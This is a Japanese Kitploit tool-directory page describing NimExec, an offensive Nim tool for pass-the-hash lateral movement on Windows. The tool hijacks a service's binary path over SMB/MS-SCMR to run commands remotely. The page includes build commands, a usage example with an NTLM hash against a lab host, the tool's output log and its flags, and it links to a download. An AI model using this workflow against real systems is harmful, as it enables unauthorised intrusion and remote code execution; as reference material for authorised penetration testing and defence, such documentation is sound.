Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
NimExec — Nimを用いたファイルレスコマンド実行による横方向移動 | Kitploit
ツール/GitHubGitHub/frkngksl/nimexec
エクスプロイト横移動ペネトレーションテストコマンド&コントロールレッドチーミング
GitHubfrkngksl/nimexec

NimExec

Nimを用いたファイルレスコマンド実行による横方向移動

リポジトリを見る
394404ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

NimExec

基本的に、NimExecは Service Control Manager Remote Protocol (MS-SCMR) を使用するファイルレスなリモートコマンド実行ツールです。LocalSystemが実行するランダムまたは指定されたサービスのバイナリパスを変更し、ターゲット上で指定されたコマンドを実行し、後でWinAPI呼び出しの代わりに手作りRPCパケットを介して復元します。これらのパケットはSMB2とsvcctl名前付きパイプを介して送信されます。

NimExecはターゲットマシンへの認証にNTLMハッシュを必要とし、手作りパケットを介してNTLM認証方式でこの認証プロセスを完了します。

必要なネットワークパケットはすべて手作業で作成され、オペレーティングシステム固有の関数は使用されないため、NimExecはNimのクロスコンパイルサポートを利用して異なるオペレーティングシステムで使用できます。

このプロジェクトは Julio's SharpNoPSExec ツールに触発されました。NimExecはSharpNoPSExecのクロスコンパイル可能でPass the Hashを組み込みでサポートしたバージョンと考えることができます。また、必要なネットワークパケット構造は Kevin Robertson's Invoke-SMBExec Script から学びました。

コンパイル

root@kitploit:~
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim

上記のコマンドは異なるガベージコレクタを使用しています。これは、Nimのデフォルトのガベージコレクタがサービスの検索中にSIGSEGVエラーを発生させるためです。

また、以下のコマンドでNimble経由で必要なNimモジュールをインストールできます:

root@kitploit:~
nimble install ptr_math nimcrypto hostname

使用法

root@kitploit:~
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
 
                                                                                             _..._     
                                                                                          .-'_..._''.  
   _..._   .--. __  __   ___         __.....__                          __.....__       .' .'      '.\ 
 .'     '. |__||  |/  `.'   `.   .-''         '.                    .-''         '.    / .'            
.   .-.   ..--.|   .-.  .-.   ' /     .-''"'-.  `.                 /     .-''"'-.  `. . '              
|  '   '  ||  ||  |  |  |  |  |/     /________\   \ ____     _____/     /________\   \| |              
|  |   |  ||  ||  |  |  |  |  ||                  |`.   \  .'    /|                  || |              
|  |   |  ||  ||  |  |  |  |  |\    .-------------'  `.  `'    .' \    .-------------'. '              
|  |   |  ||  ||  |  |  |  |  | \    '-.____...---.    '.    .'    \    '-.____...---. \ '.          . 
|  |   |  ||__||__|  |__|  |__|  `.             .'     .'     `.    `.             .'   '. `._____.-'/ 
|  |   |  |                        `''-...... -'     .'  .'`.   `.    `''-...... -'       `-.______ /  
|  |   |  |                                        .'   /    `.   `.                               `   
'--'   '--'                                       '----'       '----'                                  

                                            @R0h1rr1m          


[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!

Ubuntu 20.04 および Windows 10 マシンから Windows 10&11、Windows Server 16&19&22 に対してテストされています。

コマンドラインパラメータ

root@kitploit:~
    -v | --verbose                          Enable more verbose output.
    -u | --username <Username>              Username for NTLM Authentication.*
    -h | --hash <NTLM Hash>                 NTLM password hash for NTLM Authentication.**
    -p | --password <Password>              Plaintext password.**
    -t | --target <Target>                  Lateral movement target.*
    -c | --command <Command>                Command to execute.*
    -d | --domain <Domain>                  Domain name for NTLM Authentication.
    -s | --service <Service Name>           Name of the service instead of a random one.
    --help                                  Show the help message.

参考文献

  • https://github.com/juliourena/SharpNoPSExec
  • https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1
  • https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SCMR/%5bMS-SCMR%5d.pdf
  • https://github.com/jborean93/pypsexec/tree/master
  • https://www.x86matthew.com/view_post?id=create_svc_rpc

免責事項

許可されたセキュリティテスト専用です。明示的な許可なくシステムに対してこのツールを悪用することは違法です。

ツールをダウンロード